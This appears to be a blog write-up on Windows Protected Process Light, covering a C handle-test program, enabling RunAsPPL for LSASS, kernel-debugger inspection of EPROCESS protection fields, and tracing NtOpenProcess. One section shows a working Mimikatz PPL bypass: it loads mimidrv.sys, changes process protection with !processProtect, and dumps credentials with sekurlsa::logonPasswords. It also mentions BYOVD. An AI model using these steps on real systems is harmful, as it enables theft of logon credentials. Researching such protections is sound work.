PPL (Protected Process Light) Internals

Hero

PPL (Protected Process Light) has been available since Windows 8.1 and restricts access from regular user-mode processes. In this article, I investigated the mechanism of PPL and its internal workings.

Since there are many explanations of what PPL is available online, I will not go into detail here.

Effect of PPL

Process Explorer (procexp) can be used to see which processes are protected by PPL.

procexp-1.png

As shown in the screenshot above, processes with PsProtectedSignerWinTcb-Light in the Protection column are protected by PPL.
In the screenshot, wininit.exe is protected by PPL, but lsass.exe does not appear to be. This is because the Windows guest in my virtual environment is version 10, which does not have PPL enabled for LSASS by default.
To confirm this, I created an executable that obtains the process handle using OpenProcess, as shown below, and checked whether the handle could be obtained.

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

DWORD FindProcessId(const wchar_t* name) {
    PROCESSENTRY32W pe;
    HANDLE hSnapshot;
    pe.dwSize = sizeof(PROCESSENTRY32W);
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }

    if (Process32FirstW(hSnapshot, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, name) == 0) {
                CloseHandle(hSnapshot);
                return pe.th32ProcessID;
            }
        } while (Process32NextW(hSnapshot, &pe));
    }

    CloseHandle(hSnapshot);
    return 0;
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc != 2) {
        wprintf(L"Usage: %s <process_name>\n", argv[0]);
        wprintf(L"Example: %s lsass.exe\n", argv[0]);
        return 1;
    }

    const wchar_t* procName = argv[1];
    DWORD pid = FindProcessId(procName);
    if (pid == 0) {
        wprintf(L"Process '%s' not found.\n", procName);
        return 1;
    }

    HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
    if (hProcess == NULL) {
        DWORD err = GetLastError();
        wprintf(L"OpenProcess failed. Error code: %lu\n", err);
        if (err == ERROR_ACCESS_DENIED) {
            wprintf(L"Access denied → Process is likely PPL-protected.\n");
        }
    }
    else {
        wprintf(L"Handle acquired successfully. Process is likely NOT PPL-protected.\n");
        CloseHandle(hProcess);
    }

    return 0;
}

Ran it as an administrator:

> .\get_proc_handle.exe lsass.exe
Handle acquired successfully. Process is likely NOT PPL-protected.

As a result, I was able to retrive a handle to the lsass.exe process, which means that it doesn’t seem to be protected by PPL.

> .\get_proc_handle.exe wininit.exe
OpenProcess failed. Error code: 5
Access denied

On the other hand, as shown above, I was unable to retrieve a handle to the wininit.exe process due to an “Access Denied” error, which indicates that is is protected by PPL and has a reliable level of protection.

Enabling PPL for LSASS

Now, let’s check whether I can block the execution of the OpenProcess call mentioned above by enabling PPL for the LSASS process. To enable it, run the following command as described in the official Microsoft documentation:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

Then, restart the computer.
In this state, if I try to obtain a handle to the lsass.exe process in the same way as before…

> .\get_proc_handle.exe lsass.exe
OpenProcess failed. Error code: 5
Access denied

As we can see above, the attempt is blocked.

procexp-2.png

Also, when I checked again with Process Explorer, PsProtectedSignerLsa-Light was displayed for the lsass.exe process this time.

Futhermore, when I tried to create a dump file of the lsass.exe process with PPL enabled, I received an “Access Denied” error:

taskmagr-dump-lsass

In kernel debugging, we can check whether PPL is enabled for the specific process by examining the Protection field of the EPROCESS structure.

kd> !process 0 0 lsass.exe
PROCESS ffff958f45df3080
    SessionId: 0  Cid: 0290    Peb: a0908f9000  ParentCid: 01e8
    DirBase: 133a7e000  ObjectTable: ffffbb83ea09e040  HandleCount: 1002.
    Image: lsass.exe

kd> dt nt!_EPROCESS ffff870248c36080 Protection
   +0x87a Protection : _PS_PROTECTION

kd> dt nt!_PS_PROTECTION ffff958f45df3080+87a
   +0x000 Level            : 0x41
   +0x000 Type             : 0y001
   +0x000 Audit            : 0y0
   +0x000 Signer           : 0y0100

Based on the results above, the protection status of the lsass.exe process is as follow:

  • Level: 0x41 (Calculated using PsProtectedValue)
  • Type: 1 (PsProtectedTypeProtectedLight)
  • Audit: 0 (Reserved value)
  • Signer: 4 (PsProtectedSignerLsa)

NtDoc provides a detailed explanation of the meaning of each value.

According to NtDoc, Protection.Level is determined by the following calculation:

// ProtectionLevel.Level = PsProtectedValue(PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight)
#define PsProtectedValue(PsSigner, PsAudit, PsType) ( \
    (((PsSigner) & PS_PROTECTED_SIGNER_MASK) << 4) | \
    (((PsAudit) & PS_PROTECTED_AUDIT_MASK) << 3) | \
    (((PsType) & PS_PROTECTED_TYPE_MASK)) \
    )

Protection.Type is PsProtectedTypeProtectedLight, as shown in the enumeration below. This is expected, since I enabled RunAsPPL earlier:

kd> dt nt!_PS_PROTECTED_TYPE
   PsProtectedTypeNone = 0n0
   PsProtectedTypeProtectedLight = 0n1
   PsProtectedTypeProtected = 0n2
   PsProtectedTypeMax = 0n3

Protection.Signer can be seen to be PsProtectedSignerLsa by examining the contents of the enumeration structure below:

kd> dt nt!_PS_PROTECTED_SIGNER
   PsProtectedSignerNone = 0n0
   PsProtectedSignerAuthenticode = 0n1
   PsProtectedSignerCodeGen = 0n2
   PsProtectedSignerAntimalware = 0n3
   PsProtectedSignerLsa = 0n4
   PsProtectedSignerWindows = 0n5
   PsProtectedSignerWinTcb = 0n6
   PsProtectedSignerWinSystem = 0n7
   PsProtectedSignerApp = 0n8
   PsProtectedSignerMax = 0n9

By the way, when I checked the wininit.exe process, its signer was PsProtectedSignerWinTcb, which is a more trusted signer than Lsass.exe’s PsProtectedSignerLsa:

kd> !process 0 0 wininit.exe
PROCESS ffff958f45d58080
    SessionId: 0  Cid: 01e8    Peb: 51b1713000  ParentCid: 0180
    DirBase: 12e7ec000  ObjectTable: ffffbb83e9f65380  HandleCount: 169.
    Image: wininit.exe
    
kd> dt nt!_PS_PROTECTION ffff958f45d58080+87a
   +0x000 Level            : 0x61
   +0x000 Type             : 0y001
   +0x000 Audit            : 0y0
   +0x000 Signer           : 0y0110

PPL Bypass with Mimikatz

I found the article very helpful for understanding how to bypass PPL with Mimikatz.

When the lsass.exe process is protected by PPL, the Mimikatz sekurlsa::logonPasswords command, which relies heavily on LSASS memory, usually fails with an “Access Denied” error:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

However, if we set the protection level of the mimikatz.exe process itself to be equal to or higher than LSASS through the mimidrv.sys kernel driver, it can access LSASS memory and the sekurlsa::logonPasswords command will work, as shown below:

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

mimikatz # !processProtect /process:mimikatz.exe
Process : mimikatz.exe
PID 5416 -> 3f/3f [2-0-6]

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 92466 (00000000:00016932)
Session           : Interactive from 1
User Name         : [REDACTED]
Domain            : [REDACTED]
Logon Server      : [REDACTED]
Logon Time        : 6/2/2025 8:48:45 PM
SID               : [REDACTED]
        msv :
         [00000003] Primary
         * Username : [REDACTED]
         * Domain   : .
         * NTLM     : [REDACTED]
         * SHA1     : [REDACTED]
...Omitted...

Alternatively, instead of using the !processProtect /process:mimikatz.exe command, we can unprotect the lsass.exe process with the !processProtect /remove /process:lsass.exe command.

As a side note, it is interesting that mimidrv.sys, signed by Benjamin Delpy over 10 years ago, can still be loaded in a Windows 10 environment.

mimidrv-certificate

Using mimidrv.sys would technically allow bypassing PPL, but in environments with Windows Defender enabled, it would be blocked immediately upon download, making this an unrealistic attack method.
Alternatives include using BYOVD to load a custom mimidrv.sys.

How PPL Protects the Process Internally

I understood that PPL protects against access from other processes, but I wanted to learn how it works internally, so I investigated.
To do this, I performed both user-mode and kernel-mode debugging.

User Mode Behavior

First, I checked how it looks in user mode.
I launched mimikatz.exe in WinDbg, then examined the assembly code of OpenProcess and found that it calls NtOpenProcess.

> uf KERNELBASE!OpenProcess
KERNELBASE!OpenProcess:
...Omitted...
00007ffc`067f08e7 48ff158a4c1b00  call    qword ptr [KERNELBASE!_imp_NtOpenProcess (00007ffc`069a5578)]

I further examined the assembly code of NtOpenProcess.

uf ntdll!NtOpenProcess
ntdll!NtOpenProcess:
00007ffc`0904d510 4c8bd1          mov     r10,rcx
00007ffc`0904d513 b826000000      mov     eax,26h
00007ffc`0904d518 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffc`0904d520 7503            jne     ntdll!NtOpenProcess+0x15 (00007ffc`0904d525)  Branch

ntdll!NtOpenProcess+0x12:
00007ffc`0904d522 0f05            syscall
00007ffc`0904d524 c3              ret
...Omitted

I obtained the address after the syscall, set a breakpoint there, and resumed execution.

> bp 00007ffc`0904d524
> g

At this point, when I executed the mimikatz sekurlsa::logonPasswords command, it stopped at the call from OpenProcess to NtOpenProcess to the syscall.
When I checked the value of rax, which stores the return value, I found it was 0xc0000022 (STATUS_ACCESS_DENIED).

> r rax
rax=00000000c0000022

That’s the limit of what I could observe in user mode. However, what I really want to understand is how the protection settings are checked inside the syscall and how it returns Access Denied.

Therefore, I needed to investigate it in kernel mode.

Kernel Mode Behavior

The investigation in kernel mode was quite challenging. I started by examining NtOpenProcess, then recursively investigated the function it called, and the function those called, and so on. At the very least, this recursive investigation revealed the following call chain:

NtOpenProcess -> PsOpenProcess -> ObObjectByPointer -> ObpCreateHandle -> SeAccessCheck -> SeAccessCheckWithHintWithAdminlessChecks

The function SeAccessCheckWithHintWithAdminlessChecks included several code paths that returned the valu Access Denied (0xc0000022). However, this might not be the correct path, and I could be misinterpreting the results.

After further investigation, I found that PsIsProtectedProcessLight references the value of the Protection field of the specified process.

kd> uf nt!PsIsProtectedProcessLight
nt!PsIsProtectedProcessLight:
fffff806`312e2210 8a917a080000    mov     dl,byte ptr [rcx+87Ah]
fffff806`312e2216 33c0            xor     eax,eax
fffff806`312e2218 80e207          and     dl,7
fffff806`312e221b 80fa01          cmp     dl,1
fffff806`312e221e 0f94c0          sete    al
fffff806`312e2221 c3              ret

The function checks whether the value of the Protection.Type field in the EPROCESS structure of the target process (passed as the first argument in rcx) is 1 (PsProtectedTypeProtectedLight). If so, it returns True (al = 1).
Therefore, I set a breakpoint at this function.

kd> bp nt!PsIsProtectedProcessLight ".if (@rcx == ffffc50b8fec80c0) {} .else {gc}"
kd> g

After the breakpoint was hit, I checked the ImageFileName field of the EPROCESS structure for the targer process passed as the first argument:

kd> dt nt!_EPROCESS @rcx ImageFileName
   +0x5a8 ImageFileName : [15]  "mimikatz"

As a result, I found that it checks the protection type of the process accessing the target process (in this case, lsass.exe).
In addition, I examined the call stack to see how this function was invoked:

kd> k
 # Child-SP          RetAddr               Call Site
00 ffffab87`2691c5c8 fffff806`34460315     nt!PsIsProtectedProcessLight
01 ffffab87`2691c5d0 fffff806`3162b4a9     CI!CiRevalidateImage+0x95
02 ffffab87`2691c600 fffff806`3167f08b     nt!MiValidateExistingImage+0x1f5
03 ffffab87`2691c6a0 fffff806`3167fe4d     nt!MiShareExistingControlArea+0xc7
04 ffffab87`2691c6d0 fffff806`3167f5c4     nt!MiCreateImageOrDataSection+0x1ad
05 ffffab87`2691c7c0 fffff806`3167f3a7     nt!MiCreateSection+0xf4
06 ffffab87`2691c940 fffff806`3167f18c     nt!MiCreateSectionCommon+0x207
07 ffffab87`2691ca20 fffff806`3140f4f8     nt!NtCreateSection+0x5c
08 ffffab87`2691ca90 00007ffe`3f66d9a4     nt!KiSystemServiceCopyEnd+0x28
09 00000092`8fcff608 00007ffe`3f62fd2e     ntdll!NtCreateSection+0x14
0a 00000092`8fcff610 00007ffe`3f62fab0     ntdll!LdrpMapDllNtFileName+0x14a
0b 00000092`8fcff710 00007ffe`3f62ed4f     ntdll!LdrpMapDllFullPath+0xe0
0c 00000092`8fcff8a0 00007ffe`3f5efb53     ntdll!LdrpProcessWork+0x123
0d 00000092`8fcff900 00007ffe`3f5e73e4     ntdll!LdrpLoadDllInternal+0x13f
0e 00000092`8fcff980 00007ffe`3f5e6af4     ntdll!LdrpLoadDll+0xa8
0f 00000092`8fcffb30 00007ffe`3d0956b2     ntdll!LdrLoadDll+0xe4
10 00000092`8fcffc20 ffffffff`fffffffe     0x00007ffe`3d0956b2
11 00000092`8fcffc28 00000000`00000800     0xffffffff`fffffffe
12 00000092`8fcffc30 00000000`00000000     0x800

From the above results, it appears that PsIsProtectedProcessLight is not called directly from any of the functions within NtOpenProcess. However, based on the simplicity of its implementation, it seems likely that the system can check the protection level and type without explicity calling this function.

Although I wasn’t able to pinpoint a definitive answer, I discovered that the system compares the protection level and type of the source and target processes to determine whether access should be allowed.